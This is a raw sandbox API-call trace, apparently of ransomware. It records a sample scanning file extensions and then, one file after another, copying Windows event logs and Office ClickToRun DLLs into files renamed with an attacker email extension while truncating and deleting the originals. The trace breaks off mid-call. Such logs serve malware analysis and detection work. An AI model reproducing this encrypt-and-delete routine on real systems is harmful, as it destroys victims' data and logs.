[0066.940] lstrlenW (lpString=".zip") returned 4 [0066.940] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0066.940] lstrlenW (lpString=".rar") returned 4 [0066.940] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0066.940] lstrlenW (lpString=".bz2") returned 4 [0066.940] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0066.940] lstrlenW (lpString=".7z") returned 3 [0066.940] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0066.940] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0066.940] lstrlenW (lpString=".dbf") returned 4 [0066.940] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0066.940] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0066.940] lstrlenW (lpString=".1cd") returned 4 [0066.940] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0066.940] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0066.940] lstrlenW (lpString=".jpg") returned 4 [0066.940] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0066.941] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0066.941] lstrlenW (lpString="Security.evtx") returned 13 [0066.941] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0066.941] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=1118208) returned 1 [0066.941] CloseHandle (hObject=0x37c) returned 1 [0066.941] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 0x20 [0066.941] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\security.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0066.942] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0066.942] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0066.942] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0066.942] CreateFileW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\security.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0066.942] GetLastError () returned 0x0 [0066.942] ReadFile (in: hFile=0x37c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0066.975] WriteFile (in: hFile=0x38c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0067.448] ReadFile (in: hFile=0x37c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x11010, lpOverlapped=0x0) returned 1 [0067.459] WriteFile (in: hFile=0x38c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x11020, lpOverlapped=0x0) returned 1 [0067.465] ReadFile (in: hFile=0x37c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0067.465] WriteFile (in: hFile=0x38c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xee, lpOverlapped=0x0) returned 1 [0067.466] SetEndOfFile (hFile=0x38c) returned 1 [0067.466] CloseHandle (hObject=0x38c) returned 1 [0067.977] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.977] SetEndOfFile (hFile=0x37c) returned 1 [0067.979] CloseHandle (hObject=0x37c) returned 1 [0067.979] SetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0067.980] DeleteFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 1 [0067.980] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0067.980] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0067.980] lstrlenW (lpString=".doc") returned 4 [0067.980] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0067.980] lstrlenW (lpString=".docx") returned 5 [0067.980] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0067.980] lstrlenW (lpString=".pdf") returned 4 [0067.980] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0067.980] lstrlenW (lpString=".xls") returned 4 [0067.980] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0067.981] lstrlenW (lpString=".xlsx") returned 5 [0067.981] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0067.981] lstrlenW (lpString=".ppt") returned 4 [0067.981] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0067.981] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0067.981] lstrlenW (lpString=".zip") returned 4 [0067.981] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0067.981] lstrlenW (lpString=".rar") returned 4 [0067.981] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0067.981] lstrlenW (lpString=".bz2") returned 4 [0067.981] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0067.981] lstrlenW (lpString=".7z") returned 3 [0067.981] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0067.981] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0067.981] lstrlenW (lpString=".dbf") returned 4 [0067.981] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0067.981] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0067.981] lstrlenW (lpString=".1cd") returned 4 [0067.981] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0067.981] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0067.981] lstrlenW (lpString=".jpg") returned 4 [0067.981] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0067.981] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0067.981] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0067.982] lstrlenW (lpString=".doc") returned 4 [0067.982] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0067.982] lstrlenW (lpString=".docx") returned 5 [0067.982] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0067.982] lstrlenW (lpString=".pdf") returned 4 [0067.982] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0067.982] lstrlenW (lpString=".xls") returned 4 [0067.982] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0067.982] lstrlenW (lpString=".xlsx") returned 5 [0067.982] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0067.982] lstrlenW (lpString=".ppt") returned 4 [0067.982] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0067.982] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0067.982] lstrlenW (lpString=".zip") returned 4 [0067.982] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0067.982] lstrlenW (lpString=".rar") returned 4 [0067.982] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0067.982] lstrlenW (lpString=".bz2") returned 4 [0067.983] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0067.983] lstrlenW (lpString=".7z") returned 3 [0067.983] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0067.983] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0067.983] lstrlenW (lpString=".dbf") returned 4 [0067.983] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0067.983] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0067.983] lstrlenW (lpString=".1cd") returned 4 [0067.983] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0067.983] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0067.983] lstrlenW (lpString=".jpg") returned 4 [0067.983] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0067.983] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0067.983] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0067.983] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0067.984] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=18624) returned 1 [0067.984] CloseHandle (hObject=0x37c) returned 1 [0067.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 0x20 [0067.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0067.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0067.984] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.984] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0067.985] GetLastError () returned 0x0 [0067.985] ReadFile (in: hFile=0x37c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x48c0, lpOverlapped=0x0) returned 1 [0067.987] WriteFile (in: hFile=0x38c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x48d0, lpOverlapped=0x0) returned 1 [0067.989] ReadFile (in: hFile=0x37c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0067.989] WriteFile (in: hFile=0x38c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x112, lpOverlapped=0x0) returned 1 [0067.989] SetEndOfFile (hFile=0x38c) returned 1 [0067.989] CloseHandle (hObject=0x38c) returned 1 [0067.991] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.991] SetEndOfFile (hFile=0x37c) returned 1 [0067.992] CloseHandle (hObject=0x37c) returned 1 [0067.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0067.993] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 1 [0067.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0067.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0067.993] lstrlenW (lpString=".doc") returned 4 [0067.993] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0067.993] lstrlenW (lpString=".docx") returned 5 [0067.993] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0067.994] lstrlenW (lpString=".pdf") returned 4 [0067.994] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0067.994] lstrlenW (lpString=".xls") returned 4 [0067.994] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0067.994] lstrlenW (lpString=".xlsx") returned 5 [0067.994] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0067.994] lstrlenW (lpString=".ppt") returned 4 [0067.994] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0067.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0067.994] lstrlenW (lpString=".zip") returned 4 [0067.994] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0067.994] lstrlenW (lpString=".rar") returned 4 [0067.994] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0067.994] lstrlenW (lpString=".bz2") returned 4 [0067.994] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0067.994] lstrlenW (lpString=".7z") returned 3 [0067.994] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0067.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0067.994] lstrlenW (lpString=".dbf") returned 4 [0067.994] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0067.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0067.994] lstrlenW (lpString=".1cd") returned 4 [0067.994] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0067.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0067.994] lstrlenW (lpString=".jpg") returned 4 [0067.994] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0067.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0067.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0067.995] lstrlenW (lpString=".doc") returned 4 [0067.995] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0067.995] lstrlenW (lpString=".docx") returned 5 [0067.995] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0067.995] lstrlenW (lpString=".pdf") returned 4 [0067.995] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0067.995] lstrlenW (lpString=".xls") returned 4 [0067.995] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0067.995] lstrlenW (lpString=".xlsx") returned 5 [0067.995] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0067.995] lstrlenW (lpString=".ppt") returned 4 [0067.995] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0067.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0067.995] lstrlenW (lpString=".zip") returned 4 [0067.995] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0067.995] lstrlenW (lpString=".rar") returned 4 [0067.995] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0067.995] lstrlenW (lpString=".bz2") returned 4 [0067.995] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0067.995] lstrlenW (lpString=".7z") returned 3 [0067.995] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0067.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0067.995] lstrlenW (lpString=".dbf") returned 4 [0067.995] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0067.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0067.995] lstrlenW (lpString=".1cd") returned 4 [0067.995] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0067.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0067.995] lstrlenW (lpString=".jpg") returned 4 [0067.996] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0067.996] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0067.996] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0067.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0068.127] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=18624) returned 1 [0068.127] CloseHandle (hObject=0x38c) returned 1 [0068.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 0x20 [0068.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.127] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0068.127] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.127] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.127] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0068.130] GetLastError () returned 0x0 [0068.130] ReadFile (in: hFile=0x38c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x48c0, lpOverlapped=0x0) returned 1 [0068.132] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x48d0, lpOverlapped=0x0) returned 1 [0068.133] ReadFile (in: hFile=0x38c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0068.134] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x112, lpOverlapped=0x0) returned 1 [0068.134] SetEndOfFile (hFile=0x34c) returned 1 [0068.134] CloseHandle (hObject=0x34c) returned 1 [0068.136] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.136] SetEndOfFile (hFile=0x38c) returned 1 [0068.137] CloseHandle (hObject=0x38c) returned 1 [0068.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.138] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 1 [0068.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0068.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0068.138] lstrlenW (lpString=".doc") returned 4 [0068.138] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.138] lstrlenW (lpString=".docx") returned 5 [0068.138] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.138] lstrlenW (lpString=".pdf") returned 4 [0068.138] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.138] lstrlenW (lpString=".xls") returned 4 [0068.138] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.138] lstrlenW (lpString=".xlsx") returned 5 [0068.139] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.139] lstrlenW (lpString=".ppt") returned 4 [0068.139] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0068.139] lstrlenW (lpString=".zip") returned 4 [0068.139] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.139] lstrlenW (lpString=".rar") returned 4 [0068.139] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.139] lstrlenW (lpString=".bz2") returned 4 [0068.139] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.139] lstrlenW (lpString=".7z") returned 3 [0068.139] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0068.139] lstrlenW (lpString=".dbf") returned 4 [0068.139] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0068.139] lstrlenW (lpString=".1cd") returned 4 [0068.139] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0068.139] lstrlenW (lpString=".jpg") returned 4 [0068.139] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0068.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0068.139] lstrlenW (lpString=".doc") returned 4 [0068.139] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.140] lstrlenW (lpString=".docx") returned 5 [0068.140] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.140] lstrlenW (lpString=".pdf") returned 4 [0068.140] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.140] lstrlenW (lpString=".xls") returned 4 [0068.140] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.140] lstrlenW (lpString=".xlsx") returned 5 [0068.140] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.140] lstrlenW (lpString=".ppt") returned 4 [0068.140] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0068.140] lstrlenW (lpString=".zip") returned 4 [0068.140] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.140] lstrlenW (lpString=".rar") returned 4 [0068.140] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.140] lstrlenW (lpString=".bz2") returned 4 [0068.140] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.140] lstrlenW (lpString=".7z") returned 3 [0068.140] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0068.140] lstrlenW (lpString=".dbf") returned 4 [0068.140] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0068.140] lstrlenW 